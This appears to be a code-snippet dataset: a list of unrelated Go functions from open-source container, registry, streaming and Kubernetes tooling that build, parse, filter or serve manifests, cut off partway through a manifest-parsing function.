"func Convert(ext *Extension) (*core.TypedExtensionConfig, error) {\n\t// wrap configuration into StringValue\n\tjson, err := ext.Configuration.MarshalJSON()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tconfiguration, err := ptypes.MarshalAny(&wrappers.StringValue{Value: string(json)})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// detect the runtime\n\truntime := \"envoy.wasm.runtime.v8\"\n\tswitch strings.ToLower(ext.Runtime) {\n\tcase \"v8\", \"\":\n\t\tbreak\n\tcase \"wavm\":\n\t\truntime = \"envoy.wasm.runtime.wavm\"\n\tdefault:\n\t\tlog.Printf(\"unknown runtime %q, defaulting to v8\\n\", ext.Runtime)\n\n\t}\n\n\t// create plugin config\n\tplugin := &wasm.Wasm{\n\t\tConfig: &v3.PluginConfig{\n\t\t\tRootId: ext.RootID,\n\t\t\tVmConfig: &v3.PluginConfig_InlineVmConfig{\n\t\t\t\tInlineVmConfig: &v3.VmConfig{\n\t\t\t\t\tVmId: ext.VMID,\n\t\t\t\t\tRuntime: runtime,\n\t\t\t\t\tCode: &core.AsyncDataSource{\n\t\t\t\t\t\tSpecifier: &core.AsyncDataSource_Local{\n\t\t\t\t\t\t\tLocal: &core.DataSource{\n\t\t\t\t\t\t\t\tSpecifier: &core.DataSource_InlineBytes{\n\t\t\t\t\t\t\t\t\tInlineBytes: prefetch[ext.SHA256],\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tAllowPrecompiled: true,\n\t\t\t\t},\n\t\t\t},\n\t\t\tConfiguration: configuration,\n\t\t},\n\t}\n\n\ttyped, err := ptypes.MarshalAny(plugin)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &core.TypedExtensionConfig{\n\t\tName: ext.Name,\n\t\tTypedConfig: typed,\n\t}, nil\n}", "func toImageManifest(m *schema.ImageManifest) *aciManifest {\n\treturn &aciManifest{\n\t\tACKind: aciKind(m.ACKind),\n\t\tACVersion: m.ACVersion,\n\t\tName: aciName(m.Name),\n\t\tLabels: aciLabels(m.Labels),\n\t\tApp: (*aciApp)(m.App),\n\t\tAnnotations: aciAnnotations(m.Annotations),\n\t\tDependencies: aciDependencies(m.Dependencies),\n\t\tPathWhitelist: m.PathWhitelist,\n\t}\n}", "func ManifestUnpack([]byte) Manifest { panic(\"\") }", "func revertToManifest(kv *DB, mf *Manifest, idMap map[uint64]struct{}) error {\n\t// 1. Check all files in manifest exist.\n\tfor id := range mf.Tables {\n\t\tif _, ok := idMap[id]; !ok {\n\t\t\treturn fmt.Errorf(\"file does not exist for table %d\", id)\n\t\t}\n\t}\n\n\t// 2. Delete files that shouldn't exist.\n\tfor id := range idMap {\n\t\tif _, ok := mf.Tables[id]; !ok {\n\t\t\tkv.elog.Printf(\"Table file %d not referenced in MANIFEST\\n\", id)\n\t\t\tfilename := table.NewFilename(id, kv.opt.Dir)\n\t\t\tif err := os.Remove(filename); err != nil {\n\t\t\t\treturn y.Wrapf(err, \"While removing table %d\", id)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func manifestInstanceFromBlob(ctx context.Context, sys *types.SystemContext, src types.ImageSource, manblob []byte, mt string) (genericManifest, error) {\n\tswitch manifest.NormalizedMIMEType(mt) {\n\tcase manifest.DockerV2Schema1MediaType, manifest.DockerV2Schema1SignedMediaType:\n\t\treturn manifestSchema1FromManifest(manblob)\n\tcase imgspecv1.MediaTypeImageManifest:\n\t\treturn manifestOCI1FromManifest(src, manblob)\n\tcase manifest.DockerV2Schema2MediaType:\n\t\treturn manifestSchema2FromManifest(src, manblob)\n\tcase manifest.DockerV2ListMediaType:\n\t\treturn manifestSchema2FromManifestList(ctx, sys, src, manblob)\n\tcase imgspecv1.MediaTypeImageIndex:\n\t\treturn manifestOCI1FromImageIndex(ctx, sys, src, manblob)\n\tdefault: // Note that this may not be reachable, manifest.NormalizedMIMEType has a default for unknown values.\n\t\treturn nil, fmt.Errorf(\"Unimplemented manifest MIME type %s\", mt)\n\t}\n}", "func (h *HLSFilter) FilterManifest(filters *parsers.MediaFilters) (string, error) {\n\tm, manifestType, err := m3u8.DecodeFrom(strings.NewReader(h.manifestContent), true)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif manifestType != m3u8.MASTER {\n\t\treturn h.filterRenditionManifest(filters, m.(*m3u8.MediaPlaylist))\n\t}\n\n\t// convert into the master playlist type\n\tmanifest := m.(*m3u8.MasterPlaylist)\n\tfilteredManifest := m3u8.NewMasterPlaylist()\n\n\tfor _, v := range manifest.Variants {\n\t\tabsolute, aErr := getAbsoluteURL(h.manifestURL)\n\t\tif aErr != nil {\n\t\t\treturn h.manifestContent, aErr\n\t\t}\n\n\t\tnormalizedVariant, err := h.normalizeVariant(v, *absolute)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\tvalidatedFilters, err := h.validateVariants(filters, normalizedVariant)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\tif validatedFilters {\n\t\t\tcontinue\n\t\t}\n\n\t\turi := normalizedVariant.URI\n\t\tif filters.Trim != nil {\n\t\t\turi, err = h.normalizeTrimmedVariant(filters, uri)\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t}\n\n\t\tfilteredManifest.Append(uri, normalizedVariant.Chunklist, normalizedVariant.VariantParams)\n\t}\n\n\treturn filteredManifest.String(), nil\n}", "func (s Stamp) DecodeManifest() ([]byte, error) {\n\tif s.EncodedManifest == \"\" {\n\t\treturn nil, errors.New(\"no Porter manifest was embedded in the bundle\")\n\t}\n\n\tresultB, err := base64.StdEncoding.DecodeString(s.EncodedManifest)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"could not base64 decode the manifest in the stamp\\n%s\", s.EncodedManifest)\n\t}\n\n\treturn resultB, nil\n}", "func (s *Service) GenerateManifest(ctx context.Context, q *apiclient.ManifestRequest) (*apiclient.ManifestResponse, error) {\n\tconfig := s.initConstants.PluginConfig\n\n\tenv := append(os.Environ(), environ(q.Env)...)\n\tif len(config.Spec.Init.Command) > 0 {\n\t\t_, err := runCommand(config.Spec.Init, q.AppPath, env)\n\t\tif err != nil {\n\t\t\treturn &apiclient.ManifestResponse{}, err\n\t\t}\n\t}\n\n\tout, err := runCommand(config.Spec.Generate, q.AppPath, env)\n\tif err != nil {\n\t\treturn &apiclient.ManifestResponse{}, err\n\t}\n\n\tmanifests, err := kube.SplitYAMLToString([]byte(out))\n\tif err != nil {\n\t\treturn &apiclient.ManifestResponse{}, err\n\t}\n\n\treturn &apiclient.ManifestResponse{\n\t\tManifests: manifests,\n\t}, err\n}", "func writeManifest(manifest model.Manifest, dir string) error {\n\tyml, err := yaml.Marshal(manifest)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to marshal manifest: %v\", err)\n\t}\n\tif err := os.WriteFile(path.Join(dir, \"manifest.yaml\"), yml, 0o640); err != nil {\n\t\treturn fmt.Errorf(\"failed to write manifest: %v\", err)\n\t}\n\treturn nil\n}", "func (l *ManifestLoader) manifestToManifestData(m *manifest.Manifest) (*ManifestData, error) {\n\tmdata, err := l.loadManifestDataFromManifestFileAndResources(m)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tpkgs := []*ManifestData{}\n\tfor _, pkg := range m.Packages {\n\t\tloader := &ManifestLoader{FS: l.FS, InitialPath: pkg}\n\t\tpkgNode, err := loader.LoadManifestDataFromPath()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tpkgs = append(pkgs, pkgNode)\n\t}\n\tmdata.Packages = pkgs\n\treturn mdata, nil\n}", "func CreateManifests(version uint32, minVersion uint32, format uint, statedir string) (*MoM, error) {\n\tvar err error\n\tvar c config\n\n\tif minVersion > version {\n\t\treturn nil, fmt.Errorf(\"minVersion (%v), must be between 0 and %v (inclusive)\",\n\t\t\tminVersion, version)\n\t}\n\n\tc, err = getConfig(statedir)\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"Found server.ini, but was unable to read it. \"+\n\t\t\t\"Continuing with default configuration\\n\")\n\t}\n\n\tif err = initBuildEnv(c); err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar groups []string\n\tif groups, err = readGroupsINI(filepath.Join(c.stateDir, \"groups.ini\")); err != nil {\n\t\treturn nil, err\n\t}\n\n\tgroups = append(groups, \"full\")\n\n\tvar lastVersion uint32\n\tlastVersion, err = readLastVerFile(filepath.Join(c.imageBase, \"LAST_VER\"))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\toldFullManifestPath := filepath.Join(c.outputDir, fmt.Sprint(lastVersion), \"Manifest.full\")\n\toldFullManifest, err := ParseManifestFile(oldFullManifestPath)\n\tif err != nil {\n\t\t// throw away read manifest if it is invalid\n\t\tif strings.Contains(err.Error(), \"invalid manifest\") {\n\t\t\tfmt.Fprintf(os.Stderr, \"full: %s\\n\", err)\n\t\t}\n\t\toldFullManifest = &Manifest{}\n\t}\n\n\tif oldFullManifest.Header.Format > format {\n\t\treturn nil, fmt.Errorf(\"new format %v is lower than old format %v\", format, oldFullManifest.Header.Format)\n\t}\n\n\ttimeStamp := time.Now()\n\toldMoMPath := filepath.Join(c.outputDir, fmt.Sprint(lastVersion), \"Manifest.MoM\")\n\toldMoM, err := getOldManifest(oldMoMPath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\toldFormat := oldMoM.Header.Format\n\n\t// PROCESS BUNDLES\n\tui := UpdateInfo{\n\t\toldFormat: oldFormat,\n\t\tformat: format,\n\t\tlastVersion: lastVersion,\n\t\tminVersion: minVersion,\n\t\tversion: version,\n\t\tbundles: groups,\n\t\ttimeStamp: timeStamp,\n\t}\n\tvar newManifests []*Manifest\n\tif newManifests, err = processBundles(ui, c); err != nil {\n\t\treturn nil, err\n\t}\n\n\tverOutput := filepath.Join(c.outputDir, fmt.Sprint(version))\n\tif err = os.MkdirAll(verOutput, 0755); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Bootstrap delta directory, so we can assume every version will have one.\n\tif err = os.MkdirAll(filepath.Join(verOutput, \"delta\"), 0755); err != nil {\n\t\treturn nil, err\n\t}\n\n\tnewMoM := Manifest{\n\t\tName: \"MoM\",\n\t\tHeader: ManifestHeader{\n\t\t\tFormat: format,\n\t\t\tVersion: version,\n\t\t\tPrevious: lastVersion,\n\t\t\tTimeStamp: timeStamp,\n\t\t},\n\t}\n\n\tvar newFull *Manifest\n\t// write manifests then add them to the MoM\n\tfor _, bMan := range newManifests {\n\t\t// handle the full manifest last\n\t\tif bMan.Name == \"full\" {\n\t\t\tnewFull = bMan\n\t\t\tcontinue\n\t\t}\n\n\t\t// TODO: remove this after a format bump in Clear Linux\n\t\t// this is a hack to set maximum contentsize to the incorrect maximum\n\t\t// set in swupd-client v3.15.3\n\t\tbMan.setMaxContentSizeHack()\n\t\t// end hack\n\n\t\t// sort by version then by filename, previously to this sort these bundles\n\t\t// were sorted by file name only to make processing easier\n\t\tbMan.sortFilesVersionName()\n\t\tmanPath := filepath.Join(verOutput, \"Manifest.\"+bMan.Name)\n\t\tif err = bMan.WriteManifestFile(manPath); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// add bundle to Manifest.MoM\n\t\tif err = newMoM.createManifestRecord(verOutput, manPath, version); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\t// copy over unchanged manifests\n\tfor _, m := range oldMoM.Files {\n\t\tif m.findFileNameInSlice(newMoM.Files) == nil {\n\t\t\tif m.Name == indexBundle {\n\t\t\t\t// this is generated new each time\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tnewMoM.Files = append(newMoM.Files, m)\n\t\t}\n\t}\n\n\t// allManifests must include newManifests plus all old ones in the MoM.\n\tallManifests := newManifests\n\t// now append all old manifests\n\tfor _, m := range newMoM.Files {\n\t\tif m.Version < version {\n\t\t\toldMPath := filepath.Join(c.outputDir, fmt.Sprint(m.Version), \"Manifest.\"+m.Name)\n\t\t\tvar oldM *Manifest\n\t\t\toldM, err = ParseManifestFile(oldMPath)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tallManifests = append(allManifests, oldM)\n\t\t}\n\t}\n\n\tvar osIdx *Manifest\n\tif osIdx, err = writeIndexManifest(&c, &ui, allManifests); err != nil {\n\t\treturn nil, err\n\t}\n\n\tosIdxPath := filepath.Join(verOutput, \"Manifest.\"+osIdx.Name)\n\tif err = newMoM.createManifestRecord(verOutput, osIdxPath, version); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// track here as well so the manifest tar is made\n\tnewManifests = append(newManifests, osIdx)\n\n\t// handle full manifest\n\tnewFull.sortFilesVersionName()\n\tif err = newFull.WriteManifestFile(filepath.Join(verOutput, \"Manifest.full\")); err != nil {\n\t\treturn nil, err\n\t}\n\n\tnewMoM.Header.FileCount = uint32(len(newMoM.Files))\n\tnewMoM.sortFilesVersionName()\n\n\t// write MoM\n\tif err = newMoM.WriteManifestFile(filepath.Join(verOutput, \"Manifest.MoM\")); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Make the result MoM struct to return.\n\tresult := &MoM{\n\t\tManifest: newMoM,\n\t\tUpdatedBundles: make([]*Manifest, 0, len(newManifests)),\n\t}\n\tfor _, b := range newManifests {\n\t\tif b.Name == \"full\" {\n\t\t\tresult.FullManifest = b\n\t\t} else {\n\t\t\tresult.UpdatedBundles = append(result.UpdatedBundles, b)\n\t\t}\n\t}\n\treturn result, nil\n}", "func (b *Backend) ManifestCreate(ctx context.Context, req *pb.ManifestCreateRequest) (*pb.ManifestCreateResponse, error) {\n\tif !b.daemon.opts.Experimental {\n\t\treturn &pb.ManifestCreateResponse{}, errors.New(\"please enable experimental to use manifest feature\")\n\t}\n\n\tlogrus.WithFields(logrus.Fields{\n\t\t\"ManifestList\": req.GetManifestList(),\n\t\t\"Manifest\": req.GetManifests(),\n\t}).Info(\"ManifestCreateRequest received\")\n\n\tmanifestName := req.GetManifestList()\n\tmanifests := req.GetManifests()\n\n\tlist := &manifestList{\n\t\tdocker: manifest.Schema2List{\n\t\t\tSchemaVersion: container.SchemaVersion,\n\t\t\tMediaType: manifest.DockerV2ListMediaType,\n\t\t},\n\t\tinstances: make(map[digest.Digest]string, 0),\n\t}\n\n\tfor _, imageSpec := range manifests {\n\t\t// add image to list\n\t\tif _, err := list.addImage(ctx, b.daemon.localStore, imageSpec); err != nil {\n\t\t\treturn &pb.ManifestCreateResponse{}, err\n\t\t}\n\t}\n\n\t// expand list name\n\t_, imageName, err := dockerfile.CheckAndExpandTag(manifestName)\n\tif err != nil {\n\t\treturn &pb.ManifestCreateResponse{}, err\n\t}\n\t// save list to image\n\timageID, err := list.saveListToImage(b.daemon.localStore, \"\", imageName, list.docker.MediaType)\n\n\treturn &pb.ManifestCreateResponse{\n\t\tImageID: imageID,\n\t}, err\n}", "func FilterManifest(ms string, selectResources string, ignoreResources string) (string, error) {\n\tsm := getObjPathMap(selectResources)\n\tim := getObjPathMap(ignoreResources)\n\tao, err := object.ParseK8sObjectsFromYAMLManifestFailOption(ms, false)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\taom := ao.ToMap()\n\tslrs, err := filterResourceWithSelectAndIgnore(aom, sm, im)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tvar sb strings.Builder\n\tfor _, ko := range slrs {\n\t\tyl, err := ko.YAML()\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tsb.WriteString(string(yl) + object.YAMLSeparator)\n\t}\n\tk8sObjects, err := object.ParseK8sObjectsFromYAMLManifest(sb.String())\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tk8sObjects.Sort(object.DefaultObjectOrder())\n\tsortdManifests, err := k8sObjects.YAMLManifest()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn sortdManifests, nil\n}", "func isValidManifest(contentType string) bool {\n\tfor _, mediaType := range distribution.ManifestMediaTypes() {\n\t\tif mediaType == contentType {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}", "func RegisterManifestHandlerServer(ctx context.Context, mux *runtime.ServeMux, server ManifestServer) error {\n\n\tmux.Handle(\"POST\", pattern_Manifest_ManifestCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Manifest_ManifestCreate_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Manifest_ManifestCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Manifest_ManifestConfigCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Manifest_ManifestConfigCreate_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Manifest_ManifestConfigCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "func BufferManifestProcessResult(messages []model.MessageBody, buffer *ManifestBuffer) {\n\tfor _, message := range messages {\n\t\tm := message.(*model.CollectorManifest)\n\t\tfor _, manifest := range m.Manifests {\n\t\t\tbuffer.ManifestChan <- manifest\n\t\t}\n\t}\n}", "func (imh *manifestHandler) GetManifest(w http.ResponseWriter, r *http.Request) {\n\tdcontext.GetLogger(imh).Debug(\"GetImageManifest\")\n\tmanifests, err := imh.Repository.Manifests(imh)\n\tif err != nil {\n\t\timh.Errors = append(imh.Errors, err)\n\t\treturn\n\t}\n\tvar supports [numStorageTypes]bool\n\n\t// this parsing of Accept headers is not quite as full-featured as godoc.org's parser, but we don't care about \"q=\" values\n\t// https://github.com/golang/gddo/blob/e91d4165076d7474d20abda83f92d15c7ebc3e81/httputil/header/header.go#L165-L202\n\tfor _, acceptHeader := range r.Header[\"Accept\"] {\n\t\t// r.Header[...] is a slice in case the request contains the same header more than once\n\t\t// if the header isn't set, we'll get the zero value, which \"range\" will handle gracefully\n\n\t\t// we need to split each header value on \",\" to get the full list of \"Accept\" values (per RFC 2616)\n\t\t// https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.1\n\t\tfor _, mediaType := range strings.Split(acceptHeader, \",\") {\n\t\t\tif mediaType, _, err = mime.ParseMediaType(mediaType); err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif mediaType == schema2.MediaTypeManifest {\n\t\t\t\tsupports[manifestSchema2] = true\n\t\t\t}\n\t\t\tif mediaType == manifestlist.MediaTypeManifestList {\n\t\t\t\tsupports[manifestlistSchema] = true\n\t\t\t}\n\t\t\tif mediaType == v1.MediaTypeImageManifest {\n\t\t\t\tsupports[ociSchema] = true\n\t\t\t}\n\t\t\tif mediaType == v1.MediaTypeImageIndex {\n\t\t\t\tsupports[ociImageIndexSchema] = true\n\t\t\t}\n\t\t}\n\t}\n\n\tif imh.Tag != \"\" {\n\t\ttags := imh.Repository.Tags(imh)\n\t\tdesc, err := tags.Get(imh, imh.Tag)\n\t\tif err != nil {\n\t\t\tif _, ok := err.(distribution.ErrTagUnknown); ok {\n\t\t\t\timh.Errors = append(imh.Errors, v2.ErrorCodeManifestUnknown.WithDetail(err))\n\t\t\t} else {\n\t\t\t\timh.Errors = append(imh.Errors, errcode.ErrorCodeUnknown.WithDetail(err))\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\timh.Digest = desc.Digest\n\t}\n\n\tif etagMatch(r, imh.Digest.String()) {\n\t\tw.WriteHeader(http.StatusNotModified)\n\t\treturn\n\t}\n\n\tvar options []distribution.ManifestServiceOption\n\tif imh.Tag != \"\" {\n\t\toptions = append(options, distribution.WithTag(imh.Tag))\n\t}\n\tmanifest, err := manifests.Get(imh, imh.Digest, options...)\n\tif err != nil {\n\t\tif _, ok := err.(distribution.ErrManifestUnknownRevision); ok {\n\t\t\timh.Errors = append(imh.Errors, v2.ErrorCodeManifestUnknown.WithDetail(err))\n\t\t} else {\n\t\t\timh.Errors = append(imh.Errors, errcode.ErrorCodeUnknown.WithDetail(err))\n\t\t}\n\t\treturn\n\t}\n\t// determine the type of the returned manifest\n\tmanifestType := manifestSchema1\n\tschema2Manifest, isSchema2 := manifest.(*schema2.DeserializedManifest)\n\tmanifestList, isManifestList := manifest.(*manifestlist.DeserializedManifestList)\n\tif isSchema2 {\n\t\tmanifestType = manifestSchema2\n\t} else if _, isOCImanifest := manifest.(*ocischema.DeserializedManifest); isOCImanifest {\n\t\tmanifestType = ociSchema\n\t} else if isManifestList {\n\t\tif manifestList.MediaType == manifestlist.MediaTypeManifestList {\n\t\t\tmanifestType = manifestlistSchema\n\t\t} else if manifestList.MediaType == v1.MediaTypeImageIndex {\n\t\t\tmanifestType = ociImageIndexSchema\n\t\t}\n\t}\n\n\tif manifestType == ociSchema && !supports[ociSchema] {\n\t\timh.Errors = append(imh.Errors, v2.ErrorCodeManifestUnknown.WithMessage(\"OCI manifest found, but accept header does not support OCI manifests\"))\n\t\treturn\n\t}\n\tif manifestType == ociImageIndexSchema && !supports[ociImageIndexSchema] {\n\t\timh.Errors = append(imh.Errors, v2.ErrorCodeManifestUnknown.WithMessage(\"OCI index found, but accept header does not support OCI indexes\"))\n\t\treturn\n\t}\n\t// Only rewrite schema2 manifests when they are being fetched by tag.\n\t// If they are being fetched by digest, we can't return something not\n\t// matching the digest.\n\tif imh.Tag != \"\" && manifestType == manifestSchema2 && !supports[manifestSchema2] {\n\t\t// Rewrite manifest in schema1 format\n\t\tdcontext.GetLogger(imh).Infof(\"rewriting manifest %s in schema1 format to support old client\", imh.Digest.String())\n\n\t\tmanifest, err = imh.convertSchema2Manifest(schema2Manifest)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t} else if imh.Tag != \"\" && manifestType == manifestlistSchema && !supports[manifestlistSchema] {\n\t\t// Rewrite manifest in schema1 format\n\t\tdcontext.GetLogger(imh).Infof(\"rewriting manifest list %s in schema1 format to support old client\", imh.Digest.String())\n\n\t\t// Find the image manifest corresponding to the default\n\t\t// platform\n\t\tvar manifestDigest digest.Digest\n\t\tfor _, manifestDescriptor := range manifestList.Manifests {\n\t\t\tif manifestDescriptor.Platform.Architecture == defaultArch && manifestDescriptor.Platform.OS == defaultOS {\n\t\t\t\tmanifestDigest = manifestDescriptor.Digest\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tif manifestDigest == \"\" {\n\t\t\timh.Errors = append(imh.Errors, v2.ErrorCodeManifestUnknown)\n\t\t\treturn\n\t\t}\n\n\t\tmanifest, err = manifests.Get(imh, manifestDigest)\n\t\tif err != nil {\n\t\t\tif _, ok := err.(distribution.ErrManifestUnknownRevision); ok {\n\t\t\t\timh.Errors = append(imh.Errors, v2.ErrorCodeManifestUnknown.WithDetail(err))\n\t\t\t} else {\n\t\t\t\timh.Errors = append(imh.Errors, errcode.ErrorCodeUnknown.WithDetail(err))\n\t\t\t}\n\t\t\treturn\n\t\t}\n\n\t\t// If necessary, convert the image manifest\n\t\tif schema2Manifest, isSchema2 := manifest.(*schema2.DeserializedManifest); isSchema2 && !supports[manifestSchema2] {\n\t\t\tmanifest, err = imh.convertSchema2Manifest(schema2Manifest)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t} else {\n\t\t\timh.Digest = manifestDigest\n\t\t}\n\t}\n\n\tct, p, err := manifest.Payload()\n\tif err != nil {\n\t\treturn\n\t}\n\n\tw.Header().Set(\"Content-Type\", ct)\n\tw.Header().Set(\"Content-Length\", fmt.Sprint(len(p)))\n\tw.Header().Set(\"Docker-Content-Digest\", imh.Digest.String())\n\tw.Header().Set(\"Etag\", fmt.Sprintf(`\"%s\"`, imh.Digest))\n\tw.Write(p)\n}", "func ManifestParser(infra dbChaosInfra.ChaosInfra, rootPath string, config *SubscriberConfigurations) ([]byte, error) {\n\tvar (\n\t\tgeneratedYAML []string\n\t\tdefaultState = false\n\t\tInfraNamespace string\n\t\tServiceAccountName string\n\t\tDefaultInfraNamespace = \"litmus\"\n\t\tDefaultServiceAccountName = \"litmus\"\n\t)\n\n\tif infra.InfraNsExists == nil {\n\t\tinfra.InfraNsExists = &defaultState\n\t}\n\tif infra.InfraSaExists == nil {\n\t\tinfra.InfraSaExists = &defaultState\n\t}\n\n\tif infra.InfraNamespace != nil && *infra.InfraNamespace != \"\" {\n\t\tInfraNamespace = *infra.InfraNamespace\n\t} else {\n\t\tInfraNamespace = DefaultInfraNamespace\n\t}\n\n\tif infra.ServiceAccount != nil && *infra.ServiceAccount != \"\" {\n\t\tServiceAccountName = *infra.ServiceAccount\n\t} else {\n\t\tServiceAccountName = DefaultServiceAccountName\n\t}\n\n\tskipSSL := \"false\"\n\tif infra.SkipSSL != nil && *infra.SkipSSL {\n\t\tskipSSL = \"true\"\n\t}\n\n\tvar (\n\t\tnamespaceConfig = \"---\\napiVersion: v1\\nkind: Namespace\\nmetadata:\\n name: \" + InfraNamespace + \"\\n\"\n\t\tserviceAccountStr = \"---\\napiVersion: v1\\nkind: ServiceAccount\\nmetadata:\\n name: \" + ServiceAccountName + \"\\n namespace: \" + InfraNamespace + \"\\n\"\n\t)\n\n\t// Checking if the agent namespace does not exist and its scope of installation is not namespaced\n\tif *infra.InfraNsExists == false && infra.InfraScope != \"namespace\" {\n\t\tgeneratedYAML = append(generatedYAML, fmt.Sprintf(namespaceConfig))\n\t}\n\n\tif *infra.InfraSaExists == false {\n\t\tgeneratedYAML = append(generatedYAML, fmt.Sprintf(serviceAccountStr))\n\t}\n\n\t// File operations\n\tfile, err := os.Open(rootPath)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to open the file %v\", err)\n\t}\n\n\tdefer file.Close()\n\n\tlist, err := file.Readdirnames(0) // 0 to read all files and folders\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to read the file %v\", err)\n\t}\n\n\tvar nodeselector string\n\tif infra.NodeSelector != nil {\n\t\tselector := strings.Split(*infra.NodeSelector, \",\")\n\t\tselectorList := make(map[string]string)\n\t\tfor _, el := range selector {\n\t\t\tkv := strings.Split(el, \"=\")\n\t\t\tselectorList[kv[0]] = kv[1]\n\t\t}\n\n\t\tnodeSelector := struct {\n\t\t\tNodeSelector map[string]string `yaml:\"nodeSelector\" json:\"nodeSelector\"`\n\t\t}{\n\t\t\tNodeSelector: selectorList,\n\t\t}\n\n\t\tbyt, err := yaml.Marshal(nodeSelector)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to marshal the node selector %v\", err)\n\t\t}\n\n\t\tnodeselector = string(utils.AddRootIndent(byt, 6))\n\t}\n\n\tvar tolerations string\n\tif infra.Tolerations != nil {\n\t\tbyt, err := yaml.Marshal(struct {\n\t\t\tTolerations []*dbChaosInfra.Toleration `yaml:\"tolerations\" json:\"tolerations\"`\n\t\t}{\n\t\t\tTolerations: infra.Tolerations,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to marshal the tolerations %v\", err)\n\t\t}\n\n\t\ttolerations = string(utils.AddRootIndent(byt, 6))\n\t}\n\n\tfor _, fileName := range list {\n\t\tfileContent, err := ioutil.ReadFile(rootPath + \"/\" + fileName)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to read the file %v\", err)\n\t\t}\n\n\t\tvar newContent = string(fileContent)\n\n\t\tnewContent = strings.Replace(newContent, \"#{TOLERATIONS}\", tolerations, -1)\n\t\tnewContent = strings.Replace(newContent, \"#{INFRA_ID}\", infra.InfraID, -1)\n\t\tnewContent = strings.Replace(newContent, \"#{ACCESS_KEY}\", infra.AccessKey, -1)\n\t\tnewContent = strings.Replace(newContent, \"#{SERVER_ADDR}\", config.ServerEndpoint, -1)\n\t\tnewContent = strings.Replace(newContent, \"#{SUBSCRIBER_IMAGE}\", utils.Config.SubscriberImage, -1)\n\t\tnewContent = strings.Replace(newContent, \"#{EVENT_TRACKER_IMAGE}\", 